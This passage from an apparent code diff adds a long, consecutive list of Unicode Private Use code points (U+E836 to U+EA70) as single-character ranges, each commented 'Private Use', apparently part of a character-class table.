+ ["\uE836", "\uE836"], /* Private Use */
+ ["\uE837", "\uE837"], /* Private Use */
+ ["\uE838", "\uE838"], /* Private Use */
+ ["\uE839", "\uE839"], /* Private Use */
+ ["\uE83A", "\uE83A"], /* Private Use */
+ ["\uE83B", "\uE83B"], /* Private Use */
+ ["\uE83C", "\uE83C"], /* Private Use */
+ ["\uE83D", "\uE83D"], /* Private Use */
+ ["\uE83E", "\uE83E"], /* Private Use */
+ ["\uE83F", "\uE83F"], /* Private Use */
+ ["\uE840", "\uE840"], /* Private Use */
+ ["\uE841", "\uE841"], /* Private Use */
+ ["\uE842", "\uE842"], /* Private Use */
+ ["\uE843", "\uE843"], /* Private Use */
+ ["\uE844", "\uE844"], /* Private Use */
+ ["\uE845", "\uE845"], /* Private Use */
+ ["\uE846", "\uE846"], /* Private Use */
+ ["\uE847", "\uE847"], /* Private Use */
+ ["\uE848", "\uE848"], /* Private Use */
+ ["\uE849", "\uE849"], /* Private Use */
+ ["\uE84A", "\uE84A"], /* Private Use */
+ ["\uE84B", "\uE84B"], /* Private Use */
+ ["\uE84C", "\uE84C"], /* Private Use */
+ ["\uE84D", "\uE84D"], /* Private Use */
+ ["\uE84E", "\uE84E"], /* Private Use */
+ ["\uE84F", "\uE84F"], /* Private Use */
+ ["\uE850", "\uE850"], /* Private Use */
+ ["\uE851", "\uE851"], /* Private Use */
+ ["\uE852", "\uE852"], /* Private Use */
+ ["\uE853", "\uE853"], /* Private Use */
+ ["\uE854", "\uE854"], /* Private Use */
+ ["\uE855", "\uE855"], /* Private Use */
+ ["\uE856", "\uE856"], /* Private Use */
+ ["\uE857", "\uE857"], /* Private Use */
+ ["\uE858", "\uE858"], /* Private Use */
+ ["\uE859", "\uE859"], /* Private Use */
+ ["\uE85A", "\uE85A"], /* Private Use */
+ ["\uE85B", "\uE85B"], /* Private Use */
+ ["\uE85C", "\uE85C"], /* Private Use */
+ ["\uE85D", "\uE85D"], /* Private Use */
+ ["\uE85E", "\uE85E"], /* Private Use */
+ ["\uE85F", "\uE85F"], /* Private Use */
+ ["\uE860", "\uE860"], /* Private Use */
+ ["\uE861", "\uE861"], /* Private Use */
+ ["\uE862", "\uE862"], /* Private Use */
+ ["\uE863", "\uE863"], /* Private Use */
+ ["\uE864", "\uE864"], /* Private Use */
+ ["\uE865", "\uE865"], /* Private Use */
+ ["\uE866", "\uE866"], /* Private Use */
+ ["\uE867", "\uE867"], /* Private Use */
+ ["\uE868", "\uE868"], /* Private Use */
+ ["\uE869", "\uE869"], /* Private Use */
+ ["\uE86A", "\uE86A"], /* Private Use */
+ ["\uE86B", "\uE86B"], /* Private Use */
+ ["\uE86C", "\uE86C"], /* Private Use */
+ ["\uE86D", "\uE86D"], /* Private Use */
+ ["\uE86E", "\uE86E"], /* Private Use */
+ ["\uE86F", "\uE86F"], /* Private Use */
+ ["\uE870", "\uE870"], /* Private Use */
+ ["\uE871", "\uE871"], /* Private Use */
+ ["\uE872", "\uE872"], /* Private Use */
+ ["\uE873", "\uE873"], /* Private Use */
+ ["\uE874", "\uE874"], /* Private Use */
+ ["\uE875", "\uE875"], /* Private Use */
+ ["\uE876", "\uE876"], /* Private Use */
+ ["\uE877", "\uE877"], /* Private Use */
+ ["\uE878", "\uE878"], /* Private Use */
+ ["\uE879", "\uE879"], /* Private Use */
+ ["\uE87A", "\uE87A"], /* Private Use */
+ ["\uE87B", "\uE87B"], /* Private Use */
+ ["\uE87C", "\uE87C"], /* Private Use */
+ ["\uE87D", "\uE87D"], /* Private Use */
+ ["\uE87E", "\uE87E"], /* Private Use */
+ ["\uE87F", "\uE87F"], /* Private Use */
+ ["\uE880", "\uE880"], /* Private Use */
+ ["\uE881", "\uE881"], /* Private Use */
+ ["\uE882", "\uE882"], /* Private Use */
+ ["\uE883", "\uE883"], /* Private Use */
+ ["\uE884", "\uE884"], /* Private Use */
+ ["\uE885", "\uE885"], /* Private Use */
+ ["\uE886", "\uE886"], /* Private Use */
+ ["\uE887", "\uE887"], /* Private Use */
+ ["\uE888", "\uE888"], /* Private Use */
+ ["\uE889", "\uE889"], /* Private Use */
+ ["\uE88A", "\uE88A"], /* Private Use */
+ ["\uE88B", "\uE88B"], /* Private Use */
+ ["\uE88C", "\uE88C"], /* Private Use */
+ ["\uE88D", "\uE88D"], /* Private Use */
+ ["\uE88E", "\uE88E"], /* Private Use */
+ ["\uE88F", "\uE88F"], /* Private Use */
+ ["\uE890", "\uE890"], /* Private Use */
+ ["\uE891", "\uE891"], /* Private Use */
+ ["\uE892", "\uE892"], /* Private Use */
+ ["\uE893", "\uE893"], /* Private Use */
+ ["\uE894", "\uE894"], /* Private Use */
+ ["\uE895", "\uE895"], /* Private Use */
+ ["\uE896", "\uE896"], /* Private Use */
+ ["\uE897", "\uE897"], /* Private Use */
+ ["\uE898", "\uE898"], /* Private Use */
+ ["\uE899", "\uE899"], /* Private Use */
+ ["\uE89A", "\uE89A"], /* Private Use */
+ ["\uE89B", "\uE89B"], /* Private Use */
+ ["\uE89C", "\uE89C"], /* Private Use */
+ ["\uE89D", "\uE89D"], /* Private Use */
+ ["\uE89E", "\uE89E"], /* Private Use */
+ ["\uE89F", "\uE89F"], /* Private Use */
+ ["\uE8A0", "\uE8A0"], /* Private Use */
+ ["\uE8A1", "\uE8A1"], /* Private Use */
+ ["\uE8A2", "\uE8A2"], /* Private Use */
+ ["\uE8A3", "\uE8A3"], /* Private Use */
+ ["\uE8A4", "\uE8A4"], /* Private Use */
+ ["\uE8A5", "\uE8A5"], /* Private Use */
+ ["\uE8A6", "\uE8A6"], /* Private Use */
+ ["\uE8A7", "\uE8A7"], /* Private Use */
+ ["\uE8A8", "\uE8A8"], /* Private Use */
+ ["\uE8A9", "\uE8A9"], /* Private Use */
+ ["\uE8AA", "\uE8AA"], /* Private Use */
+ ["\uE8AB", "\uE8AB"], /* Private Use */
+ ["\uE8AC", "\uE8AC"], /* Private Use */
+ ["\uE8AD", "\uE8AD"], /* Private Use */
+ ["\uE8AE", "\uE8AE"], /* Private Use */
+ ["\uE8AF", "\uE8AF"], /* Private Use */
+ ["\uE8B0", "\uE8B0"], /* Private Use */
+ ["\uE8B1", "\uE8B1"], /* Private Use */
+ ["\uE8B2", "\uE8B2"], /* Private Use */
+ ["\uE8B3", "\uE8B3"], /* Private Use */
+ ["\uE8B4", "\uE8B4"], /* Private Use */
+ ["\uE8B5", "\uE8B5"], /* Private Use */
+ ["\uE8B6", "\uE8B6"], /* Private Use */
+ ["\uE8B7", "\uE8B7"], /* Private Use */
+ ["\uE8B8", "\uE8B8"], /* Private Use */
+ ["\uE8B9", "\uE8B9"], /* Private Use */
+ ["\uE8BA", "\uE8BA"], /* Private Use */
+ ["\uE8BB", "\uE8BB"], /* Private Use */
+ ["\uE8BC", "\uE8BC"], /* Private Use */
+ ["\uE8BD", "\uE8BD"], /* Private Use */
+ ["\uE8BE", "\uE8BE"], /* Private Use */
+ ["\uE8BF", "\uE8BF"], /* Private Use */
+ ["\uE8C0", "\uE8C0"], /* Private Use */
+ ["\uE8C1", "\uE8C1"], /* Private Use */
+ ["\uE8C2", "\uE8C2"], /* Private Use */
+ ["\uE8C3", "\uE8C3"], /* Private Use */
+ ["\uE8C4", "\uE8C4"], /* Private Use */
+ ["\uE8C5", "\uE8C5"], /* Private Use */
+ ["\uE8C6", "\uE8C6"], /* Private Use */
+ ["\uE8C7", "\uE8C7"], /* Private Use */
+ ["\uE8C8", "\uE8C8"], /* Private Use */
+ ["\uE8C9", "\uE8C9"], /* Private Use */
+ ["\uE8CA", "\uE8CA"], /* Private Use */
+ ["\uE8CB", "\uE8CB"], /* Private Use */
+ ["\uE8CC", "\uE8CC"], /* Private Use */
+ ["\uE8CD", "\uE8CD"], /* Private Use */
+ ["\uE8CE", "\uE8CE"], /* Private Use */
+ ["\uE8CF", "\uE8CF"], /* Private Use */
+ ["\uE8D0", "\uE8D0"], /* Private Use */
+ ["\uE8D1", "\uE8D1"], /* Private Use */
+ ["\uE8D2", "\uE8D2"], /* Private Use */
+ ["\uE8D3", "\uE8D3"], /* Private Use */
+ ["\uE8D4", "\uE8D4"], /* Private Use */
+ ["\uE8D5", "\uE8D5"], /* Private Use */
+ ["\uE8D6", "\uE8D6"], /* Private Use */
+ ["\uE8D7", "\uE8D7"], /* Private Use */
+ ["\uE8D8", "\uE8D8"], /* Private Use */
+ ["\uE8D9", "\uE8D9"], /* Private Use */
+ ["\uE8DA", "\uE8DA"], /* Private Use */
+ ["\uE8DB", "\uE8DB"], /* Private Use */
+ ["\uE8DC", "\uE8DC"], /* Private Use */
+ ["\uE8DD", "\uE8DD"], /* Private Use */
+ ["\uE8DE", "\uE8DE"], /* Private Use */
+ ["\uE8DF", "\uE8DF"], /* Private Use */
+ ["\uE8E0", "\uE8E0"], /* Private Use */
+ ["\uE8E1", "\uE8E1"], /* Private Use */
+ ["\uE8E2", "\uE8E2"], /* Private Use */
+ ["\uE8E3", "\uE8E3"], /* Private Use */
+ ["\uE8E4", "\uE8E4"], /* Private Use */
+ ["\uE8E5", "\uE8E5"], /* Private Use */
+ ["\uE8E6", "\uE8E6"], /* Private Use */
+ ["\uE8E7", "\uE8E7"], /* Private Use */
+ ["\uE8E8", "\uE8E8"], /* Private Use */
+ ["\uE8E9", "\uE8E9"], /* Private Use */
+ ["\uE8EA", "\uE8EA"], /* Private Use */
+ ["\uE8EB", "\uE8EB"], /* Private Use */
+ ["\uE8EC", "\uE8EC"], /* Private Use */
+ ["\uE8ED", "\uE8ED"], /* Private Use */
+ ["\uE8EE", "\uE8EE"], /* Private Use */
+ ["\uE8EF", "\uE8EF"], /* Private Use */
+ ["\uE8F0", "\uE8F0"], /* Private Use */
+ ["\uE8F1", "\uE8F1"], /* Private Use */
+ ["\uE8F2", "\uE8F2"], /* Private Use */
+ ["\uE8F3", "\uE8F3"], /* Private Use */
+ ["\uE8F4", "\uE8F4"], /* Private Use */
+ ["\uE8F5", "\uE8F5"], /* Private Use */
+ ["\uE8F6", "\uE8F6"], /* Private Use */
+ ["\uE8F7", "\uE8F7"], /* Private Use */
+ ["\uE8F8", "\uE8F8"], /* Private Use */
+ ["\uE8F9", "\uE8F9"], /* Private Use */
+ ["\uE8FA", "\uE8FA"], /* Private Use */
+ ["\uE8FB", "\uE8FB"], /* Private Use */
+ ["\uE8FC", "\uE8FC"], /* Private Use */
+ ["\uE8FD", "\uE8FD"], /* Private Use */
+ ["\uE8FE", "\uE8FE"], /* Private Use */
+ ["\uE8FF", "\uE8FF"], /* Private Use */
+ ["\uE900", "\uE900"], /* Private Use */
+ ["\uE901", "\uE901"], /* Private Use */
+ ["\uE902", "\uE902"], /* Private Use */
+ ["\uE903", "\uE903"], /* Private Use */
+ ["\uE904", "\uE904"], /* Private Use */
+ ["\uE905", "\uE905"], /* Private Use */
+ ["\uE906", "\uE906"], /* Private Use */
+ ["\uE907", "\uE907"], /* Private Use */
+ ["\uE908", "\uE908"], /* Private Use */
+ ["\uE909", "\uE909"], /* Private Use */
+ ["\uE90A", "\uE90A"], /* Private Use */
+ ["\uE90B", "\uE90B"], /* Private Use */
+ ["\uE90C", "\uE90C"], /* Private Use */
+ ["\uE90D", "\uE90D"], /* Private Use */
+ ["\uE90E", "\uE90E"], /* Private Use */
+ ["\uE90F", "\uE90F"], /* Private Use */
+ ["\uE910", "\uE910"], /* Private Use */
+ ["\uE911", "\uE911"], /* Private Use */
+ ["\uE912", "\uE912"], /* Private Use */
+ ["\uE913", "\uE913"], /* Private Use */
+ ["\uE914", "\uE914"], /* Private Use */
+ ["\uE915", "\uE915"], /* Private Use */
+ ["\uE916", "\uE916"], /* Private Use */
+ ["\uE917", "\uE917"], /* Private Use */
+ ["\uE918", "\uE918"], /* Private Use */
+ ["\uE919", "\uE919"], /* Private Use */
+ ["\uE91A", "\uE91A"], /* Private Use */
+ ["\uE91B", "\uE91B"], /* Private Use */
+ ["\uE91C", "\uE91C"], /* Private Use */
+ ["\uE91D", "\uE91D"], /* Private Use */
+ ["\uE91E", "\uE91E"], /* Private Use */
+ ["\uE91F", "\uE91F"], /* Private Use */
+ ["\uE920", "\uE920"], /* Private Use */
+ ["\uE921", "\uE921"], /* Private Use */
+ ["\uE922", "\uE922"], /* Private Use */
+ ["\uE923", "\uE923"], /* Private Use */
+ ["\uE924", "\uE924"], /* Private Use */
+ ["\uE925", "\uE925"], /* Private Use */
+ ["\uE926", "\uE926"], /* Private Use */
+ ["\uE927", "\uE927"], /* Private Use */
+ ["\uE928", "\uE928"], /* Private Use */
+ ["\uE929", "\uE929"], /* Private Use */
+ ["\uE92A", "\uE92A"], /* Private Use */
+ ["\uE92B", "\uE92B"], /* Private Use */
+ ["\uE92C", "\uE92C"], /* Private Use */
+ ["\uE92D", "\uE92D"], /* Private Use */
+ ["\uE92E", "\uE92E"], /* Private Use */
+ ["\uE92F", "\uE92F"], /* Private Use */
+ ["\uE930", "\uE930"], /* Private Use */
+ ["\uE931", "\uE931"], /* Private Use */
+ ["\uE932", "\uE932"], /* Private Use */
+ ["\uE933", "\uE933"], /* Private Use */
+ ["\uE934", "\uE934"], /* Private Use */
+ ["\uE935", "\uE935"], /* Private Use */
+ ["\uE936", "\uE936"], /* Private Use */
+ ["\uE937", "\uE937"], /* Private Use */
+ ["\uE938", "\uE938"], /* Private Use */
+ ["\uE939", "\uE939"], /* Private Use */
+ ["\uE93A", "\uE93A"], /* Private Use */
+ ["\uE93B", "\uE93B"], /* Private Use */
+ ["\uE93C", "\uE93C"], /* Private Use */
+ ["\uE93D", "\uE93D"], /* Private Use */
+ ["\uE93E", "\uE93E"], /* Private Use */
+ ["\uE93F", "\uE93F"], /* Private Use */
+ ["\uE940", "\uE940"], /* Private Use */
+ ["\uE941", "\uE941"], /* Private Use */
+ ["\uE942", "\uE942"], /* Private Use */
+ ["\uE943", "\uE943"], /* Private Use */
+ ["\uE944", "\uE944"], /* Private Use */
+ ["\uE945", "\uE945"], /* Private Use */
+ ["\uE946", "\uE946"], /* Private Use */
+ ["\uE947", "\uE947"], /* Private Use */
+ ["\uE948", "\uE948"], /* Private Use */
+ ["\uE949", "\uE949"], /* Private Use */
+ ["\uE94A", "\uE94A"], /* Private Use */
+ ["\uE94B", "\uE94B"], /* Private Use */
+ ["\uE94C", "\uE94C"], /* Private Use */
+ ["\uE94D", "\uE94D"], /* Private Use */
+ ["\uE94E", "\uE94E"], /* Private Use */
+ ["\uE94F", "\uE94F"], /* Private Use */
+ ["\uE950", "\uE950"], /* Private Use */
+ ["\uE951", "\uE951"], /* Private Use */
+ ["\uE952", "\uE952"], /* Private Use */
+ ["\uE953", "\uE953"], /* Private Use */
+ ["\uE954", "\uE954"], /* Private Use */
+ ["\uE955", "\uE955"], /* Private Use */
+ ["\uE956", "\uE956"], /* Private Use */
+ ["\uE957", "\uE957"], /* Private Use */
+ ["\uE958", "\uE958"], /* Private Use */
+ ["\uE959", "\uE959"], /* Private Use */
+ ["\uE95A", "\uE95A"], /* Private Use */
+ ["\uE95B", "\uE95B"], /* Private Use */
+ ["\uE95C", "\uE95C"], /* Private Use */
+ ["\uE95D", "\uE95D"], /* Private Use */
+ ["\uE95E", "\uE95E"], /* Private Use */
+ ["\uE95F", "\uE95F"], /* Private Use */
+ ["\uE960", "\uE960"], /* Private Use */
+ ["\uE961", "\uE961"], /* Private Use */
+ ["\uE962", "\uE962"], /* Private Use */
+ ["\uE963", "\uE963"], /* Private Use */
+ ["\uE964", "\uE964"], /* Private Use */
+ ["\uE965", "\uE965"], /* Private Use */
+ ["\uE966", "\uE966"], /* Private Use */
+ ["\uE967", "\uE967"], /* Private Use */
+ ["\uE968", "\uE968"], /* Private Use */
+ ["\uE969", "\uE969"], /* Private Use */
+ ["\uE96A", "\uE96A"], /* Private Use */
+ ["\uE96B", "\uE96B"], /* Private Use */
+ ["\uE96C", "\uE96C"], /* Private Use */
+ ["\uE96D", "\uE96D"], /* Private Use */
+ ["\uE96E", "\uE96E"], /* Private Use */
+ ["\uE96F", "\uE96F"], /* Private Use */
+ ["\uE970", "\uE970"], /* Private Use */
+ ["\uE971", "\uE971"], /* Private Use */
+ ["\uE972", "\uE972"], /* Private Use */
+ ["\uE973", "\uE973"], /* Private Use */
+ ["\uE974", "\uE974"], /* Private Use */
+ ["\uE975", "\uE975"], /* Private Use */
+ ["\uE976", "\uE976"], /* Private Use */
+ ["\uE977", "\uE977"], /* Private Use */
+ ["\uE978", "\uE978"], /* Private Use */
+ ["\uE979", "\uE979"], /* Private Use */
+ ["\uE97A", "\uE97A"], /* Private Use */
+ ["\uE97B", "\uE97B"], /* Private Use */
+ ["\uE97C", "\uE97C"], /* Private Use */
+ ["\uE97D", "\uE97D"], /* Private Use */
+ ["\uE97E", "\uE97E"], /* Private Use */
+ ["\uE97F", "\uE97F"], /* Private Use */
+ ["\uE980", "\uE980"], /* Private Use */
+ ["\uE981", "\uE981"], /* Private Use */
+ ["\uE982", "\uE982"], /* Private Use */
+ ["\uE983", "\uE983"], /* Private Use */
+ ["\uE984", "\uE984"], /* Private Use */
+ ["\uE985", "\uE985"], /* Private Use */
+ ["\uE986", "\uE986"], /* Private Use */
+ ["\uE987", "\uE987"], /* Private Use */
+ ["\uE988", "\uE988"], /* Private Use */
+ ["\uE989", "\uE989"], /* Private Use */
+ ["\uE98A", "\uE98A"], /* Private Use */
+ ["\uE98B", "\uE98B"], /* Private Use */
+ ["\uE98C", "\uE98C"], /* Private Use */
+ ["\uE98D", "\uE98D"], /* Private Use */
+ ["\uE98E", "\uE98E"], /* Private Use */
+ ["\uE98F", "\uE98F"], /* Private Use */
+ ["\uE990", "\uE990"], /* Private Use */
+ ["\uE991", "\uE991"], /* Private Use */
+ ["\uE992", "\uE992"], /* Private Use */
+ ["\uE993", "\uE993"], /* Private Use */
+ ["\uE994", "\uE994"], /* Private Use */
+ ["\uE995", "\uE995"], /* Private Use */
+ ["\uE996", "\uE996"], /* Private Use */
+ ["\uE997", "\uE997"], /* Private Use */
+ ["\uE998", "\uE998"], /* Private Use */
+ ["\uE999", "\uE999"], /* Private Use */
+ ["\uE99A", "\uE99A"], /* Private Use */
+ ["\uE99B", "\uE99B"], /* Private Use */
+ ["\uE99C", "\uE99C"], /* Private Use */
+ ["\uE99D", "\uE99D"], /* Private Use */
+ ["\uE99E", "\uE99E"], /* Private Use */
+ ["\uE99F", "\uE99F"], /* Private Use */
+ ["\uE9A0", "\uE9A0"], /* Private Use */
+ ["\uE9A1", "\uE9A1"], /* Private Use */
+ ["\uE9A2", "\uE9A2"], /* Private Use */
+ ["\uE9A3", "\uE9A3"], /* Private Use */
+ ["\uE9A4", "\uE9A4"], /* Private Use */
+ ["\uE9A5", "\uE9A5"], /* Private Use */
+ ["\uE9A6", "\uE9A6"], /* Private Use */
+ ["\uE9A7", "\uE9A7"], /* Private Use */
+ ["\uE9A8", "\uE9A8"], /* Private Use */
+ ["\uE9A9", "\uE9A9"], /* Private Use */
+ ["\uE9AA", "\uE9AA"], /* Private Use */
+ ["\uE9AB", "\uE9AB"], /* Private Use */
+ ["\uE9AC", "\uE9AC"], /* Private Use */
+ ["\uE9AD", "\uE9AD"], /* Private Use */
+ ["\uE9AE", "\uE9AE"], /* Private Use */
+ ["\uE9AF", "\uE9AF"], /* Private Use */
+ ["\uE9B0", "\uE9B0"], /* Private Use */
+ ["\uE9B1", "\uE9B1"], /* Private Use */
+ ["\uE9B2", "\uE9B2"], /* Private Use */
+ ["\uE9B3", "\uE9B3"], /* Private Use */
+ ["\uE9B4", "\uE9B4"], /* Private Use */
+ ["\uE9B5", "\uE9B5"], /* Private Use */
+ ["\uE9B6", "\uE9B6"], /* Private Use */
+ ["\uE9B7", "\uE9B7"], /* Private Use */
+ ["\uE9B8", "\uE9B8"], /* Private Use */
+ ["\uE9B9", "\uE9B9"], /* Private Use */
+ ["\uE9BA", "\uE9BA"], /* Private Use */
+ ["\uE9BB", "\uE9BB"], /* Private Use */
+ ["\uE9BC", "\uE9BC"], /* Private Use */
+ ["\uE9BD", "\uE9BD"], /* Private Use */
+ ["\uE9BE", "\uE9BE"], /* Private Use */
+ ["\uE9BF", "\uE9BF"], /* Private Use */
+ ["\uE9C0", "\uE9C0"], /* Private Use */
+ ["\uE9C1", "\uE9C1"], /* Private Use */
+ ["\uE9C2", "\uE9C2"], /* Private Use */
+ ["\uE9C3", "\uE9C3"], /* Private Use */
+ ["\uE9C4", "\uE9C4"], /* Private Use */
+ ["\uE9C5", "\uE9C5"], /* Private Use */
+ ["\uE9C6", "\uE9C6"], /* Private Use */
+ ["\uE9C7", "\uE9C7"], /* Private Use */
+ ["\uE9C8", "\uE9C8"], /* Private Use */
+ ["\uE9C9", "\uE9C9"], /* Private Use */
+ ["\uE9CA", "\uE9CA"], /* Private Use */
+ ["\uE9CB", "\uE9CB"], /* Private Use */
+ ["\uE9CC", "\uE9CC"], /* Private Use */
+ ["\uE9CD", "\uE9CD"], /* Private Use */
+ ["\uE9CE", "\uE9CE"], /* Private Use */
+ ["\uE9CF", "\uE9CF"], /* Private Use */
+ ["\uE9D0", "\uE9D0"], /* Private Use */
+ ["\uE9D1", "\uE9D1"], /* Private Use */
+ ["\uE9D2", "\uE9D2"], /* Private Use */
+ ["\uE9D3", "\uE9D3"], /* Private Use */
+ ["\uE9D4", "\uE9D4"], /* Private Use */
+ ["\uE9D5", "\uE9D5"], /* Private Use */
+ ["\uE9D6", "\uE9D6"], /* Private Use */
+ ["\uE9D7", "\uE9D7"], /* Private Use */
+ ["\uE9D8", "\uE9D8"], /* Private Use */
+ ["\uE9D9", "\uE9D9"], /* Private Use */
+ ["\uE9DA", "\uE9DA"], /* Private Use */
+ ["\uE9DB", "\uE9DB"], /* Private Use */
+ ["\uE9DC", "\uE9DC"], /* Private Use */
+ ["\uE9DD", "\uE9DD"], /* Private Use */
+ ["\uE9DE", "\uE9DE"], /* Private Use */
+ ["\uE9DF", "\uE9DF"], /* Private Use */
+ ["\uE9E0", "\uE9E0"], /* Private Use */
+ ["\uE9E1", "\uE9E1"], /* Private Use */
+ ["\uE9E2", "\uE9E2"], /* Private Use */
+ ["\uE9E3", "\uE9E3"], /* Private Use */
+ ["\uE9E4", "\uE9E4"], /* Private Use */
+ ["\uE9E5", "\uE9E5"], /* Private Use */
+ ["\uE9E6", "\uE9E6"], /* Private Use */
+ ["\uE9E7", "\uE9E7"], /* Private Use */
+ ["\uE9E8", "\uE9E8"], /* Private Use */
+ ["\uE9E9", "\uE9E9"], /* Private Use */
+ ["\uE9EA", "\uE9EA"], /* Private Use */
+ ["\uE9EB", "\uE9EB"], /* Private Use */
+ ["\uE9EC", "\uE9EC"], /* Private Use */
+ ["\uE9ED", "\uE9ED"], /* Private Use */
+ ["\uE9EE", "\uE9EE"], /* Private Use */
+ ["\uE9EF", "\uE9EF"], /* Private Use */
+ ["\uE9F0", "\uE9F0"], /* Private Use */
+ ["\uE9F1", "\uE9F1"], /* Private Use */
+ ["\uE9F2", "\uE9F2"], /* Private Use */
+ ["\uE9F3", "\uE9F3"], /* Private Use */
+ ["\uE9F4", "\uE9F4"], /* Private Use */
+ ["\uE9F5", "\uE9F5"], /* Private Use */
+ ["\uE9F6", "\uE9F6"], /* Private Use */
+ ["\uE9F7", "\uE9F7"], /* Private Use */
+ ["\uE9F8", "\uE9F8"], /* Private Use */
+ ["\uE9F9", "\uE9F9"], /* Private Use */
+ ["\uE9FA", "\uE9FA"], /* Private Use */
+ ["\uE9FB", "\uE9FB"], /* Private Use */
+ ["\uE9FC", "\uE9FC"], /* Private Use */
+ ["\uE9FD", "\uE9FD"], /* Private Use */
+ ["\uE9FE", "\uE9FE"], /* Private Use */
+ ["\uE9FF", "\uE9FF"], /* Private Use */
+ ["\uEA00", "\uEA00"], /* Private Use */
+ ["\uEA01", "\uEA01"], /* Private Use */
+ ["\uEA02", "\uEA02"], /* Private Use */
+ ["\uEA03", "\uEA03"], /* Private Use */
+ ["\uEA04", "\uEA04"], /* Private Use */
+ ["\uEA05", "\uEA05"], /* Private Use */
+ ["\uEA06", "\uEA06"], /* Private Use */
+ ["\uEA07", "\uEA07"], /* Private Use */
+ ["\uEA08", "\uEA08"], /* Private Use */
+ ["\uEA09", "\uEA09"], /* Private Use */
+ ["\uEA0A", "\uEA0A"], /* Private Use */
+ ["\uEA0B", "\uEA0B"], /* Private Use */
+ ["\uEA0C", "\uEA0C"], /* Private Use */
+ ["\uEA0D", "\uEA0D"], /* Private Use */
+ ["\uEA0E", "\uEA0E"], /* Private Use */
+ ["\uEA0F", "\uEA0F"], /* Private Use */
+ ["\uEA10", "\uEA10"], /* Private Use */
+ ["\uEA11", "\uEA11"], /* Private Use */
+ ["\uEA12", "\uEA12"], /* Private Use */
+ ["\uEA13", "\uEA13"], /* Private Use */
+ ["\uEA14", "\uEA14"], /* Private Use */
+ ["\uEA15", "\uEA15"], /* Private Use */
+ ["\uEA16", "\uEA16"], /* Private Use */
+ ["\uEA17", "\uEA17"], /* Private Use */
+ ["\uEA18", "\uEA18"], /* Private Use */
+ ["\uEA19", "\uEA19"], /* Private Use */
+ ["\uEA1A", "\uEA1A"], /* Private Use */
+ ["\uEA1B", "\uEA1B"], /* Private Use */
+ ["\uEA1C", "\uEA1C"], /* Private Use */
+ ["\uEA1D", "\uEA1D"], /* Private Use */
+ ["\uEA1E", "\uEA1E"], /* Private Use */
+ ["\uEA1F", "\uEA1F"], /* Private Use */
+ ["\uEA20", "\uEA20"], /* Private Use */
+ ["\uEA21", "\uEA21"], /* Private Use */
+ ["\uEA22", "\uEA22"], /* Private Use */
+ ["\uEA23", "\uEA23"], /* Private Use */
+ ["\uEA24", "\uEA24"], /* Private Use */
+ ["\uEA25", "\uEA25"], /* Private Use */
+ ["\uEA26", "\uEA26"], /* Private Use */
+ ["\uEA27", "\uEA27"], /* Private Use */
+ ["\uEA28", "\uEA28"], /* Private Use */
+ ["\uEA29", "\uEA29"], /* Private Use */
+ ["\uEA2A", "\uEA2A"], /* Private Use */
+ ["\uEA2B", "\uEA2B"], /* Private Use */
+ ["\uEA2C", "\uEA2C"], /* Private Use */
+ ["\uEA2D", "\uEA2D"], /* Private Use */
+ ["\uEA2E", "\uEA2E"], /* Private Use */
+ ["\uEA2F", "\uEA2F"], /* Private Use */
+ ["\uEA30", "\uEA30"], /* Private Use */
+ ["\uEA31", "\uEA31"], /* Private Use */
+ ["\uEA32", "\uEA32"], /* Private Use */
+ ["\uEA33", "\uEA33"], /* Private Use */
+ ["\uEA34", "\uEA34"], /* Private Use */
+ ["\uEA35", "\uEA35"], /* Private Use */
+ ["\uEA36", "\uEA36"], /* Private Use */
+ ["\uEA37", "\uEA37"], /* Private Use */
+ ["\uEA38", "\uEA38"], /* Private Use */
+ ["\uEA39", "\uEA39"], /* Private Use */
+ ["\uEA3A", "\uEA3A"], /* Private Use */
+ ["\uEA3B", "\uEA3B"], /* Private Use */
+ ["\uEA3C", "\uEA3C"], /* Private Use */
+ ["\uEA3D", "\uEA3D"], /* Private Use */
+ ["\uEA3E", "\uEA3E"], /* Private Use */
+ ["\uEA3F", "\uEA3F"], /* Private Use */
+ ["\uEA40", "\uEA40"], /* Private Use */
+ ["\uEA41", "\uEA41"], /* Private Use */
+ ["\uEA42", "\uEA42"], /* Private Use */
+ ["\uEA43", "\uEA43"], /* Private Use */
+ ["\uEA44", "\uEA44"], /* Private Use */
+ ["\uEA45", "\uEA45"], /* Private Use */
+ ["\uEA46", "\uEA46"], /* Private Use */
+ ["\uEA47", "\uEA47"], /* Private Use */
+ ["\uEA48", "\uEA48"], /* Private Use */
+ ["\uEA49", "\uEA49"], /* Private Use */
+ ["\uEA4A", "\uEA4A"], /* Private Use */
+ ["\uEA4B", "\uEA4B"], /* Private Use */
+ ["\uEA4C", "\uEA4C"], /* Private Use */
+ ["\uEA4D", "\uEA4D"], /* Private Use */
+ ["\uEA4E", "\uEA4E"], /* Private Use */
+ ["\uEA4F", "\uEA4F"], /* Private Use */
+ ["\uEA50", "\uEA50"], /* Private Use */
+ ["\uEA51", "\uEA51"], /* Private Use */
+ ["\uEA52", "\uEA52"], /* Private Use */
+ ["\uEA53", "\uEA53"], /* Private Use */
+ ["\uEA54", "\uEA54"], /* Private Use */
+ ["\uEA55", "\uEA55"], /* Private Use */
+ ["\uEA56", "\uEA56"], /* Private Use */
+ ["\uEA57", "\uEA57"], /* Private Use */
+ ["\uEA58", "\uEA58"], /* Private Use */
+ ["\uEA59", "\uEA59"], /* Private Use */
+ ["\uEA5A", "\uEA5A"], /* Private Use */
+ ["\uEA5B", "\uEA5B"], /* Private Use */
+ ["\uEA5C", "\uEA5C"], /* Private Use */
+ ["\uEA5D", "\uEA5D"], /* Private Use */
+ ["\uEA5E", "\uEA5E"], /* Private Use */
+ ["\uEA5F", "\uEA5F"], /* Private Use */
+ ["\uEA60", "\uEA60"], /* Private Use */
+ ["\uEA61", "\uEA61"], /* Private Use */
+ ["\uEA62", "\uEA62"], /* Private Use */
+ ["\uEA63", "\uEA63"], /* Private Use */
+ ["\uEA64", "\uEA64"], /* Private Use */
+ ["\uEA65", "\uEA65"], /* Private Use */
+ ["\uEA66", "\uEA66"], /* Private Use */
+ ["\uEA67", "\uEA67"], /* Private Use */
+ ["\uEA68", "\uEA68"], /* Private Use */
+ ["\uEA69", "\uEA69"], /* Private Use */
+ ["\uEA6A", "\uEA6A"], /* Private Use */
+ ["\uEA6B", "\uEA6B"], /* Private Use */
+ ["\uEA6C", "\uEA6C"], /* Private Use */
+ ["\uEA6D", "\uEA6D"], /* Private Use */
+ ["\uEA6E", "\uEA6E"], /* Private Use */
+ ["\uEA6F", "\uEA6F"], /* Private Use */
+ ["\uEA70", "\uEA70"], /* Private Use */
